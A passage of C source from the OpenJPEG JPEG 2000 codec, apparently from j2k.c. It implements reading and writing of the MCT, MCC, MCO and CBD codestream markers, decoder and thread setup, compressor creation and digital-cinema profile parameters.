(p_mct_record->m_array_type << 8) | (p_mct_record->m_element_type << 10); opj_write_bytes(l_current_data, l_tmp, 2); l_current_data += 2; opj_write_bytes(l_current_data, 0, 2); /* Ymct */ l_current_data += 2; memcpy(l_current_data, p_mct_record->m_data, p_mct_record->m_data_size); if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_mct_size, p_manager) != l_mct_size) { return OPJ_FALSE; } return OPJ_TRUE; } /** * Reads a MCT marker (Multiple Component Transform) * * @param p_header_data the data contained in the MCT box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the MCT marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_mct(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { OPJ_UINT32 i; opj_tcp_t *l_tcp = 00; OPJ_UINT32 l_tmp; OPJ_UINT32 l_indix; opj_mct_data_t * l_mct_data; /* preconditions */ assert(p_header_data != 00); assert(p_j2k != 00); l_tcp = p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_TPH ? &p_j2k->m_cp.tcps[p_j2k->m_current_tile_number] : p_j2k->m_specific_param.m_decoder.m_default_tcp; if (p_header_size < 2) { opj_event_msg(p_manager, EVT_ERROR, "Error reading MCT marker\n"); return OPJ_FALSE; } /* first marker */ opj_read_bytes(p_header_data, &l_tmp, 2); /* Zmct */ p_header_data += 2; if (l_tmp != 0) { opj_event_msg(p_manager, EVT_WARNING, "Cannot take in charge mct data within multiple MCT records\n"); return OPJ_TRUE; } if (p_header_size <= 6) { opj_event_msg(p_manager, EVT_ERROR, "Error reading MCT marker\n"); return OPJ_FALSE; } /* Imct -> no need for other values, take the first, type is double with decorrelation x0000 1101 0000 0000*/ opj_read_bytes(p_header_data, &l_tmp, 2); /* Imct */ p_header_data += 2; l_indix = l_tmp & 0xff; l_mct_data = l_tcp->m_mct_records; for (i = 0; i < l_tcp->m_nb_mct_records; ++i) { if (l_mct_data->m_index == l_indix) { break; } ++l_mct_data; } /* NOT FOUND */ if (i == l_tcp->m_nb_mct_records) { if (l_tcp->m_nb_mct_records == l_tcp->m_nb_max_mct_records) { opj_mct_data_t *new_mct_records; l_tcp->m_nb_max_mct_records += OPJ_J2K_MCT_DEFAULT_NB_RECORDS; new_mct_records = (opj_mct_data_t *) opj_realloc(l_tcp->m_mct_records, l_tcp->m_nb_max_mct_records * sizeof(opj_mct_data_t)); if (! new_mct_records) { opj_free(l_tcp->m_mct_records); l_tcp->m_mct_records = NULL; l_tcp->m_nb_max_mct_records = 0; l_tcp->m_nb_mct_records = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read MCT marker\n"); return OPJ_FALSE; } /* Update m_mcc_records[].m_offset_array and m_decorrelation_array * to point to the new addresses */ if (new_mct_records != l_tcp->m_mct_records) { for (i = 0; i < l_tcp->m_nb_mcc_records; ++i) { opj_simple_mcc_decorrelation_data_t* l_mcc_record = &(l_tcp->m_mcc_records[i]); if (l_mcc_record->m_decorrelation_array) { l_mcc_record->m_decorrelation_array = new_mct_records + (l_mcc_record->m_decorrelation_array - l_tcp->m_mct_records); } if (l_mcc_record->m_offset_array) { l_mcc_record->m_offset_array = new_mct_records + (l_mcc_record->m_offset_array - l_tcp->m_mct_records); } } } l_tcp->m_mct_records = new_mct_records; l_mct_data = l_tcp->m_mct_records + l_tcp->m_nb_mct_records; memset(l_mct_data, 0, (l_tcp->m_nb_max_mct_records - l_tcp->m_nb_mct_records) * sizeof(opj_mct_data_t)); } l_mct_data = l_tcp->m_mct_records + l_tcp->m_nb_mct_records; ++l_tcp->m_nb_mct_records; } if (l_mct_data->m_data) { opj_free(l_mct_data->m_data); l_mct_data->m_data = 00; l_mct_data->m_data_size = 0; } l_mct_data->m_index = l_indix; l_mct_data->m_array_type = (J2K_MCT_ARRAY_TYPE)((l_tmp >> 8) & 3); l_mct_data->m_element_type = (J2K_MCT_ELEMENT_TYPE)((l_tmp >> 10) & 3); opj_read_bytes(p_header_data, &l_tmp, 2); /* Ymct */ p_header_data += 2; if (l_tmp != 0) { opj_event_msg(p_manager, EVT_WARNING, "Cannot take in charge multiple MCT markers\n"); return OPJ_TRUE; } p_header_size -= 6; l_mct_data->m_data = (OPJ_BYTE*)opj_malloc(p_header_size); if (! l_mct_data->m_data) { opj_event_msg(p_manager, EVT_ERROR, "Error reading MCT marker\n"); return OPJ_FALSE; } memcpy(l_mct_data->m_data, p_header_data, p_header_size); l_mct_data->m_data_size = p_header_size; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_mcc_record(opj_j2k_t *p_j2k, struct opj_simple_mcc_decorrelation_data * p_mcc_record, struct opj_stream_private *p_stream, struct opj_event_mgr * p_manager) { OPJ_UINT32 i; OPJ_UINT32 l_mcc_size; OPJ_BYTE * l_current_data = 00; OPJ_UINT32 l_nb_bytes_for_comp; OPJ_UINT32 l_mask; OPJ_UINT32 l_tmcc; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); if (p_mcc_record->m_nb_comps > 255) { l_nb_bytes_for_comp = 2; l_mask = 0x8000; } else { l_nb_bytes_for_comp = 1; l_mask = 0; } l_mcc_size = p_mcc_record->m_nb_comps * 2 * l_nb_bytes_for_comp + 19; if (l_mcc_size > p_j2k->m_specific_param.m_encoder.m_header_tile_data_size) { OPJ_BYTE *new_header_tile_data = (OPJ_BYTE *) opj_realloc( p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_mcc_size); if (! new_header_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_header_tile_data); p_j2k->m_specific_param.m_encoder.m_header_tile_data = NULL; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to write MCC marker\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_encoder.m_header_tile_data = new_header_tile_data; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = l_mcc_size; } l_current_data = p_j2k->m_specific_param.m_encoder.m_header_tile_data; opj_write_bytes(l_current_data, J2K_MS_MCC, 2); /* MCC */ l_current_data += 2; opj_write_bytes(l_current_data, l_mcc_size - 2, 2); /* Lmcc */ l_current_data += 2; /* first marker */ opj_write_bytes(l_current_data, 0, 2); /* Zmcc */ l_current_data += 2; opj_write_bytes(l_current_data, p_mcc_record->m_index, 1); /* Imcc -> no need for other values, take the first */ ++l_current_data; /* only one marker atm */ opj_write_bytes(l_current_data, 0, 2); /* Ymcc */ l_current_data += 2; opj_write_bytes(l_current_data, 1, 2); /* Qmcc -> number of collections -> 1 */ l_current_data += 2; opj_write_bytes(l_current_data, 0x1, 1); /* Xmcci type of component transformation -> array based decorrelation */ ++l_current_data; opj_write_bytes(l_current_data, p_mcc_record->m_nb_comps | l_mask, 2); /* Nmcci number of input components involved and size for each component offset = 8 bits */ l_current_data += 2; for (i = 0; i < p_mcc_record->m_nb_comps; ++i) { opj_write_bytes(l_current_data, i, l_nb_bytes_for_comp); /* Cmccij Component offset*/ l_current_data += l_nb_bytes_for_comp; } opj_write_bytes(l_current_data, p_mcc_record->m_nb_comps | l_mask, 2); /* Mmcci number of output components involved and size for each component offset = 8 bits */ l_current_data += 2; for (i = 0; i < p_mcc_record->m_nb_comps; ++i) { opj_write_bytes(l_current_data, i, l_nb_bytes_for_comp); /* Wmccij Component offset*/ l_current_data += l_nb_bytes_for_comp; } l_tmcc = ((!p_mcc_record->m_is_irreversible) & 1U) << 16; if (p_mcc_record->m_decorrelation_array) { l_tmcc |= p_mcc_record->m_decorrelation_array->m_index; } if (p_mcc_record->m_offset_array) { l_tmcc |= ((p_mcc_record->m_offset_array->m_index) << 8); } opj_write_bytes(l_current_data, l_tmcc, 3); /* Tmcci : use MCT defined as number 1 and irreversible array based. */ l_current_data += 3; if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_mcc_size, p_manager) != l_mcc_size) { return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_read_mcc(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager) { OPJ_UINT32 i, j; OPJ_UINT32 l_tmp; OPJ_UINT32 l_indix; opj_tcp_t * l_tcp; opj_simple_mcc_decorrelation_data_t * l_mcc_record; opj_mct_data_t * l_mct_data; OPJ_UINT32 l_nb_collections; OPJ_UINT32 l_nb_comps; OPJ_UINT32 l_nb_bytes_by_comp; OPJ_BOOL l_new_mcc = OPJ_FALSE; /* preconditions */ assert(p_header_data != 00); assert(p_j2k != 00); assert(p_manager != 00); l_tcp = p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_TPH ? &p_j2k->m_cp.tcps[p_j2k->m_current_tile_number] : p_j2k->m_specific_param.m_decoder.m_default_tcp; if (p_header_size < 2) { opj_event_msg(p_manager, EVT_ERROR, "Error reading MCC marker\n"); return OPJ_FALSE; } /* first marker */ opj_read_bytes(p_header_data, &l_tmp, 2); /* Zmcc */ p_header_data += 2; if (l_tmp != 0) { opj_event_msg(p_manager, EVT_WARNING, "Cannot take in charge multiple data spanning\n"); return OPJ_TRUE; } if (p_header_size < 7) { opj_event_msg(p_manager, EVT_ERROR, "Error reading MCC marker\n"); return OPJ_FALSE; } opj_read_bytes(p_header_data, &l_indix, 1); /* Imcc -> no need for other values, take the first */ ++p_header_data; l_mcc_record = l_tcp->m_mcc_records; for (i = 0; i < l_tcp->m_nb_mcc_records; ++i) { if (l_mcc_record->m_index == l_indix) { break; } ++l_mcc_record; } /** NOT FOUND */ if (i == l_tcp->m_nb_mcc_records) { if (l_tcp->m_nb_mcc_records == l_tcp->m_nb_max_mcc_records) { opj_simple_mcc_decorrelation_data_t *new_mcc_records; l_tcp->m_nb_max_mcc_records += OPJ_J2K_MCC_DEFAULT_NB_RECORDS; new_mcc_records = (opj_simple_mcc_decorrelation_data_t *) opj_realloc( l_tcp->m_mcc_records, l_tcp->m_nb_max_mcc_records * sizeof( opj_simple_mcc_decorrelation_data_t)); if (! new_mcc_records) { opj_free(l_tcp->m_mcc_records); l_tcp->m_mcc_records = NULL; l_tcp->m_nb_max_mcc_records = 0; l_tcp->m_nb_mcc_records = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read MCC marker\n"); return OPJ_FALSE; } l_tcp->m_mcc_records = new_mcc_records; l_mcc_record = l_tcp->m_mcc_records + l_tcp->m_nb_mcc_records; memset(l_mcc_record, 0, (l_tcp->m_nb_max_mcc_records - l_tcp->m_nb_mcc_records) * sizeof(opj_simple_mcc_decorrelation_data_t)); } l_mcc_record = l_tcp->m_mcc_records + l_tcp->m_nb_mcc_records; l_new_mcc = OPJ_TRUE; } l_mcc_record->m_index = l_indix; /* only one marker atm */ opj_read_bytes(p_header_data, &l_tmp, 2); /* Ymcc */ p_header_data += 2; if (l_tmp != 0) { opj_event_msg(p_manager, EVT_WARNING, "Cannot take in charge multiple data spanning\n"); return OPJ_TRUE; } opj_read_bytes(p_header_data, &l_nb_collections, 2); /* Qmcc -> number of collections -> 1 */ p_header_data += 2; if (l_nb_collections > 1) { opj_event_msg(p_manager, EVT_WARNING, "Cannot take in charge multiple collections\n"); return OPJ_TRUE; } p_header_size -= 7; for (i = 0; i < l_nb_collections; ++i) { if (p_header_size < 3) { opj_event_msg(p_manager, EVT_ERROR, "Error reading MCC marker\n"); return OPJ_FALSE; } opj_read_bytes(p_header_data, &l_tmp, 1); /* Xmcci type of component transformation -> array based decorrelation */ ++p_header_data; if (l_tmp != 1) { opj_event_msg(p_manager, EVT_WARNING, "Cannot take in charge collections other than array decorrelation\n"); return OPJ_TRUE; } opj_read_bytes(p_header_data, &l_nb_comps, 2); p_header_data += 2; p_header_size -= 3; l_nb_bytes_by_comp = 1 + (l_nb_comps >> 15); l_mcc_record->m_nb_comps = l_nb_comps & 0x7fff; if (p_header_size < (l_nb_bytes_by_comp * l_mcc_record->m_nb_comps + 2)) { opj_event_msg(p_manager, EVT_ERROR, "Error reading MCC marker\n"); return OPJ_FALSE; } p_header_size -= (l_nb_bytes_by_comp * l_mcc_record->m_nb_comps + 2); for (j = 0; j < l_mcc_record->m_nb_comps; ++j) { opj_read_bytes(p_header_data, &l_tmp, l_nb_bytes_by_comp); /* Cmccij Component offset*/ p_header_data += l_nb_bytes_by_comp; if (l_tmp != j) { opj_event_msg(p_manager, EVT_WARNING, "Cannot take in charge collections with indix shuffle\n"); return OPJ_TRUE; } } opj_read_bytes(p_header_data, &l_nb_comps, 2); p_header_data += 2; l_nb_bytes_by_comp = 1 + (l_nb_comps >> 15); l_nb_comps &= 0x7fff; if (l_nb_comps != l_mcc_record->m_nb_comps) { opj_event_msg(p_manager, EVT_WARNING, "Cannot take in charge collections without same number of indixes\n"); return OPJ_TRUE; } if (p_header_size < (l_nb_bytes_by_comp * l_mcc_record->m_nb_comps + 3)) { opj_event_msg(p_manager, EVT_ERROR, "Error reading MCC marker\n"); return OPJ_FALSE; } p_header_size -= (l_nb_bytes_by_comp * l_mcc_record->m_nb_comps + 3); for (j = 0; j < l_mcc_record->m_nb_comps; ++j) { opj_read_bytes(p_header_data, &l_tmp, l_nb_bytes_by_comp); /* Wmccij Component offset*/ p_header_data += l_nb_bytes_by_comp; if (l_tmp != j) { opj_event_msg(p_manager, EVT_WARNING, "Cannot take in charge collections with indix shuffle\n"); return OPJ_TRUE; } } opj_read_bytes(p_header_data, &l_tmp, 3); /* Wmccij Component offset*/ p_header_data += 3; l_mcc_record->m_is_irreversible = !((l_tmp >> 16) & 1); l_mcc_record->m_decorrelation_array = 00; l_mcc_record->m_offset_array = 00; l_indix = l_tmp & 0xff; if (l_indix != 0) { l_mct_data = l_tcp->m_mct_records; for (j = 0; j < l_tcp->m_nb_mct_records; ++j) { if (l_mct_data->m_index == l_indix) { l_mcc_record->m_decorrelation_array = l_mct_data; break; } ++l_mct_data; } if (l_mcc_record->m_decorrelation_array == 00) { opj_event_msg(p_manager, EVT_ERROR, "Error reading MCC marker\n"); return OPJ_FALSE; } } l_indix = (l_tmp >> 8) & 0xff; if (l_indix != 0) { l_mct_data = l_tcp->m_mct_records; for (j = 0; j < l_tcp->m_nb_mct_records; ++j) { if (l_mct_data->m_index == l_indix) { l_mcc_record->m_offset_array = l_mct_data; break; } ++l_mct_data; } if (l_mcc_record->m_offset_array == 00) { opj_event_msg(p_manager, EVT_ERROR, "Error reading MCC marker\n"); return OPJ_FALSE; } } } if (p_header_size != 0) { opj_event_msg(p_manager, EVT_ERROR, "Error reading MCC marker\n"); return OPJ_FALSE; } if (l_new_mcc) { ++l_tcp->m_nb_mcc_records; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_mco(opj_j2k_t *p_j2k, struct opj_stream_private *p_stream, struct opj_event_mgr * p_manager ) { OPJ_BYTE * l_current_data = 00; OPJ_UINT32 l_mco_size; opj_tcp_t * l_tcp = 00; opj_simple_mcc_decorrelation_data_t * l_mcc_record; OPJ_UINT32 i; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); l_tcp = &(p_j2k->m_cp.tcps[p_j2k->m_current_tile_number]); l_mco_size = 5 + l_tcp->m_nb_mcc_records; if (l_mco_size > p_j2k->m_specific_param.m_encoder.m_header_tile_data_size) { OPJ_BYTE *new_header_tile_data = (OPJ_BYTE *) opj_realloc( p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_mco_size); if (! new_header_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_header_tile_data); p_j2k->m_specific_param.m_encoder.m_header_tile_data = NULL; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to write MCO marker\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_encoder.m_header_tile_data = new_header_tile_data; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = l_mco_size; } l_current_data = p_j2k->m_specific_param.m_encoder.m_header_tile_data; opj_write_bytes(l_current_data, J2K_MS_MCO, 2); /* MCO */ l_current_data += 2; opj_write_bytes(l_current_data, l_mco_size - 2, 2); /* Lmco */ l_current_data += 2; opj_write_bytes(l_current_data, l_tcp->m_nb_mcc_records, 1); /* Nmco : only one transform stage*/ ++l_current_data; l_mcc_record = l_tcp->m_mcc_records; for (i = 0; i < l_tcp->m_nb_mcc_records; ++i) { opj_write_bytes(l_current_data, l_mcc_record->m_index, 1); /* Imco -> use the mcc indicated by 1*/ ++l_current_data; ++l_mcc_record; } if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_mco_size, p_manager) != l_mco_size) { return OPJ_FALSE; } return OPJ_TRUE; } /** * Reads a MCO marker (Multiple Component Transform Ordering) * * @param p_header_data the data contained in the MCO box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the MCO marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_mco(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { OPJ_UINT32 l_tmp, i; OPJ_UINT32 l_nb_stages; opj_tcp_t * l_tcp; opj_tccp_t * l_tccp; opj_image_t * l_image; /* preconditions */ assert(p_header_data != 00); assert(p_j2k != 00); assert(p_manager != 00); l_image = p_j2k->m_private_image; l_tcp = p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_TPH ? &p_j2k->m_cp.tcps[p_j2k->m_current_tile_number] : p_j2k->m_specific_param.m_decoder.m_default_tcp; if (p_header_size < 1) { opj_event_msg(p_manager, EVT_ERROR, "Error reading MCO marker\n"); return OPJ_FALSE; } opj_read_bytes(p_header_data, &l_nb_stages, 1); /* Nmco : only one transform stage*/ ++p_header_data; if (l_nb_stages > 1) { opj_event_msg(p_manager, EVT_WARNING, "Cannot take in charge multiple transformation stages.\n"); return OPJ_TRUE; } if (p_header_size != l_nb_stages + 1) { opj_event_msg(p_manager, EVT_WARNING, "Error reading MCO marker\n"); return OPJ_FALSE; } l_tccp = l_tcp->tccps; for (i = 0; i < l_image->numcomps; ++i) { l_tccp->m_dc_level_shift = 0; ++l_tccp; } if (l_tcp->m_mct_decoding_matrix) { opj_free(l_tcp->m_mct_decoding_matrix); l_tcp->m_mct_decoding_matrix = 00; } for (i = 0; i < l_nb_stages; ++i) { opj_read_bytes(p_header_data, &l_tmp, 1); ++p_header_data; if (! opj_j2k_add_mct(l_tcp, p_j2k->m_private_image, l_tmp)) { return OPJ_FALSE; } } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_add_mct(opj_tcp_t * p_tcp, opj_image_t * p_image, OPJ_UINT32 p_index) { OPJ_UINT32 i; opj_simple_mcc_decorrelation_data_t * l_mcc_record; opj_mct_data_t * l_deco_array, * l_offset_array; OPJ_UINT32 l_data_size, l_mct_size, l_offset_size; OPJ_UINT32 l_nb_elem; OPJ_UINT32 * l_offset_data, * l_current_offset_data; opj_tccp_t * l_tccp; /* preconditions */ assert(p_tcp != 00); l_mcc_record = p_tcp->m_mcc_records; for (i = 0; i < p_tcp->m_nb_mcc_records; ++i) { if (l_mcc_record->m_index == p_index) { break; } } if (i == p_tcp->m_nb_mcc_records) { /** element discarded **/ return OPJ_TRUE; } if (l_mcc_record->m_nb_comps != p_image->numcomps) { /** do not support number of comps != image */ return OPJ_TRUE; } l_deco_array = l_mcc_record->m_decorrelation_array; if (l_deco_array) { l_data_size = MCT_ELEMENT_SIZE[l_deco_array->m_element_type] * p_image->numcomps * p_image->numcomps; if (l_deco_array->m_data_size != l_data_size) { return OPJ_FALSE; } l_nb_elem = p_image->numcomps * p_image->numcomps; l_mct_size = l_nb_elem * (OPJ_UINT32)sizeof(OPJ_FLOAT32); p_tcp->m_mct_decoding_matrix = (OPJ_FLOAT32*)opj_malloc(l_mct_size); if (! p_tcp->m_mct_decoding_matrix) { return OPJ_FALSE; } j2k_mct_read_functions_to_float[l_deco_array->m_element_type]( l_deco_array->m_data, p_tcp->m_mct_decoding_matrix, l_nb_elem); } l_offset_array = l_mcc_record->m_offset_array; if (l_offset_array) { l_data_size = MCT_ELEMENT_SIZE[l_offset_array->m_element_type] * p_image->numcomps; if (l_offset_array->m_data_size != l_data_size) { return OPJ_FALSE; } l_nb_elem = p_image->numcomps; l_offset_size = l_nb_elem * (OPJ_UINT32)sizeof(OPJ_UINT32); l_offset_data = (OPJ_UINT32*)opj_malloc(l_offset_size); if (! l_offset_data) { return OPJ_FALSE; } j2k_mct_read_functions_to_int32[l_offset_array->m_element_type]( l_offset_array->m_data, l_offset_data, l_nb_elem); l_tccp = p_tcp->tccps; l_current_offset_data = l_offset_data; for (i = 0; i < p_image->numcomps; ++i) { l_tccp->m_dc_level_shift = (OPJ_INT32) * (l_current_offset_data++); ++l_tccp; } opj_free(l_offset_data); } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_cbd(opj_j2k_t *p_j2k, struct opj_stream_private *p_stream, struct opj_event_mgr * p_manager) { OPJ_UINT32 i; OPJ_UINT32 l_cbd_size; OPJ_BYTE * l_current_data = 00; opj_image_t *l_image = 00; opj_image_comp_t * l_comp = 00; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); l_image = p_j2k->m_private_image; l_cbd_size = 6 + p_j2k->m_private_image->numcomps; if (l_cbd_size > p_j2k->m_specific_param.m_encoder.m_header_tile_data_size) { OPJ_BYTE *new_header_tile_data = (OPJ_BYTE *) opj_realloc( p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_cbd_size); if (! new_header_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_header_tile_data); p_j2k->m_specific_param.m_encoder.m_header_tile_data = NULL; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to write CBD marker\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_encoder.m_header_tile_data = new_header_tile_data; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = l_cbd_size; } l_current_data = p_j2k->m_specific_param.m_encoder.m_header_tile_data; opj_write_bytes(l_current_data, J2K_MS_CBD, 2); /* CBD */ l_current_data += 2; opj_write_bytes(l_current_data, l_cbd_size - 2, 2); /* L_CBD */ l_current_data += 2; opj_write_bytes(l_current_data, l_image->numcomps, 2); /* Ncbd */ l_current_data += 2; l_comp = l_image->comps; for (i = 0; i < l_image->numcomps; ++i) { opj_write_bytes(l_current_data, (l_comp->sgnd << 7) | (l_comp->prec - 1), 1); /* Component bit depth */ ++l_current_data; ++l_comp; } if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_cbd_size, p_manager) != l_cbd_size) { return OPJ_FALSE; } return OPJ_TRUE; } /** * Reads a CBD marker (Component bit depth definition) * @param p_header_data the data contained in the CBD box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the CBD marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_cbd(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { OPJ_UINT32 l_nb_comp, l_num_comp; OPJ_UINT32 l_comp_def; OPJ_UINT32 i; opj_image_comp_t * l_comp = 00; /* preconditions */ assert(p_header_data != 00); assert(p_j2k != 00); assert(p_manager != 00); l_num_comp = p_j2k->m_private_image->numcomps; if (p_header_size != (p_j2k->m_private_image->numcomps + 2)) { opj_event_msg(p_manager, EVT_ERROR, "Crror reading CBD marker\n"); return OPJ_FALSE; } opj_read_bytes(p_header_data, &l_nb_comp, 2); /* Ncbd */ p_header_data += 2; if (l_nb_comp != l_num_comp) { opj_event_msg(p_manager, EVT_ERROR, "Crror reading CBD marker\n"); return OPJ_FALSE; } l_comp = p_j2k->m_private_image->comps; for (i = 0; i < l_num_comp; ++i) { opj_read_bytes(p_header_data, &l_comp_def, 1); /* Component bit depth */ ++p_header_data; l_comp->sgnd = (l_comp_def >> 7) & 1; l_comp->prec = (l_comp_def & 0x7f) + 1; if (l_comp->prec > 31) { opj_event_msg(p_manager, EVT_ERROR, "Invalid values for comp = %d : prec=%u (should be between 1 and 38 according to the JPEG2000 norm. OpenJpeg only supports up to 31)\n", i, l_comp->prec); return OPJ_FALSE; } ++l_comp; } return OPJ_TRUE; } /* ----------------------------------------------------------------------- */ /* J2K / JPT decoder interface */ /* ----------------------------------------------------------------------- */ void opj_j2k_setup_decoder(opj_j2k_t *j2k, opj_dparameters_t *parameters) { if (j2k && parameters) { j2k->m_cp.m_specific_param.m_dec.m_layer = parameters->cp_layer; j2k->m_cp.m_specific_param.m_dec.m_reduce = parameters->cp_reduce; j2k->dump_state = (parameters->flags & OPJ_DPARAMETERS_DUMP_FLAG); #ifdef USE_JPWL j2k->m_cp.correct = parameters->jpwl_correct; j2k->m_cp.exp_comps = parameters->jpwl_exp_comps; j2k->m_cp.max_tiles = parameters->jpwl_max_tiles; #endif /* USE_JPWL */ } } OPJ_BOOL opj_j2k_set_threads(opj_j2k_t *j2k, OPJ_UINT32 num_threads) { if (opj_has_thread_support()) { opj_thread_pool_destroy(j2k->m_tp); j2k->m_tp = NULL; if (num_threads <= (OPJ_UINT32)INT_MAX) { j2k->m_tp = opj_thread_pool_create((int)num_threads); } if (j2k->m_tp == NULL) { j2k->m_tp = opj_thread_pool_create(0); return OPJ_FALSE; } return OPJ_TRUE; } return OPJ_FALSE; } static int opj_j2k_get_default_thread_count() { const char* num_threads = getenv("OPJ_NUM_THREADS"); if (num_threads == NULL || !opj_has_thread_support()) { return 0; } if (strcmp(num_threads, "ALL_CPUS") == 0) { return opj_get_num_cpus(); } return atoi(num_threads); } /* ----------------------------------------------------------------------- */ /* J2K encoder interface */ /* ----------------------------------------------------------------------- */ opj_j2k_t* opj_j2k_create_compress(void) { opj_j2k_t *l_j2k = (opj_j2k_t*) opj_calloc(1, sizeof(opj_j2k_t)); if (!l_j2k) { return NULL; } l_j2k->m_is_decoder = 0; l_j2k->m_cp.m_is_decoder = 0; l_j2k->m_specific_param.m_encoder.m_header_tile_data = (OPJ_BYTE *) opj_malloc( OPJ_J2K_DEFAULT_HEADER_SIZE); if (! l_j2k->m_specific_param.m_encoder.m_header_tile_data) { opj_j2k_destroy(l_j2k); return NULL; } l_j2k->m_specific_param.m_encoder.m_header_tile_data_size = OPJ_J2K_DEFAULT_HEADER_SIZE; /* validation list creation*/ l_j2k->m_validation_list = opj_procedure_list_create(); if (! l_j2k->m_validation_list) { opj_j2k_destroy(l_j2k); return NULL; } /* execution list creation*/ l_j2k->m_procedure_list = opj_procedure_list_create(); if (! l_j2k->m_procedure_list) { opj_j2k_destroy(l_j2k); return NULL; } l_j2k->m_tp = opj_thread_pool_create(opj_j2k_get_default_thread_count()); if (!l_j2k->m_tp) { l_j2k->m_tp = opj_thread_pool_create(0); } if (!l_j2k->m_tp) { opj_j2k_destroy(l_j2k); return NULL; } return l_j2k; } static int opj_j2k_initialise_4K_poc(opj_poc_t *POC, int numres) { POC[0].tile = 1; POC[0].resno0 = 0; POC[0].compno0 = 0; POC[0].layno1 = 1; POC[0].resno1 = (OPJ_UINT32)(numres - 1); POC[0].compno1 = 3; POC[0].prg1 = OPJ_CPRL; POC[1].tile = 1; POC[1].resno0 = (OPJ_UINT32)(numres - 1); POC[1].compno0 = 0; POC[1].layno1 = 1; POC[1].resno1 = (OPJ_UINT32)numres; POC[1].compno1 = 3; POC[1].prg1 = OPJ_CPRL; return 2; } static void opj_j2k_set_cinema_parameters(opj_cparameters_t *parameters, opj_image_t *image, opj_event_mgr_t *p_manager) { /* Configure cinema parameters */ int i; /* No tiling */ parameters->tile_size_on = OPJ_FALSE; parameters->cp_tdx = 1; parameters->cp_tdy = 1; /* One tile part for each component */ parameters->tp_flag = 'C'; parameters->tp_on = 1; /* Tile and Image shall be at (0,0) */ parameters->cp_tx0 = 0; parameters->cp_ty0 = 0; parameters->image_offset_x0 = 0; parameters->image_offset_y0 = 0; /* Codeblock size= 32*32 */ parameters->cblockw_init = 32; parameters->cblockh_init = 32; /* Codeblock style: no mode switch enabled */ parameters->mode = 0; /* No ROI */ parameters->roi_compno = -1; /* No subsampling */ parameters->subsampling_dx = 1; parameters->subsampling_dy = 1; /* 9-7 transform */ parameters->irreversible = 1; /* Number of layers */ if (parameters->tcp_numlayers > 1) { opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Profile-3 and 4 (2k/4k dc profile) requires:\n" "1 single quality layer" "-> Number of layers forced to 1 (rather than %d)\n" "-> Rate of the last layer (%3.1f) will be used", parameters->tcp_numlayers, parameters->tcp_rates[parameters->tcp_numlayers - 1]); parameters->tcp_rates[0] = parameters->tcp_rates[parameters->tcp_numlayers - 1]; parameters->tcp_numlayers = 1; } /* Resolution levels */ switch (parameters->rsiz) { case OPJ_PROFILE_CINEMA_2K: if (parameters->numresolution > 6) { opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Profile-3 (2k dc profile) requires:\n" "Number of decomposition levels <= 5\n" "-> Number of decomposition levels forced to 5 (rather than %d)\n", parameters->numresolution + 1); parameters->numresolution = 6; } break; case OPJ_PROFILE_CINEMA_4K: if (parameters->numresolution < 2) { opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Profile-4 (4k dc profile) requires:\n" "Number of decomposition levels >= 1 && <= 6\n" "-> Number of decomposition levels forced to 1 (rather than %d)\n", parameters->numresolution + 1); parameters->numresolution = 1; } else if (parameters->numresolution > 7) { opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Profile-4 (4k dc profile) requires:\n" "Number of decomposition levels >= 1 && <= 6\n" "-> Number of decomposition levels forced to 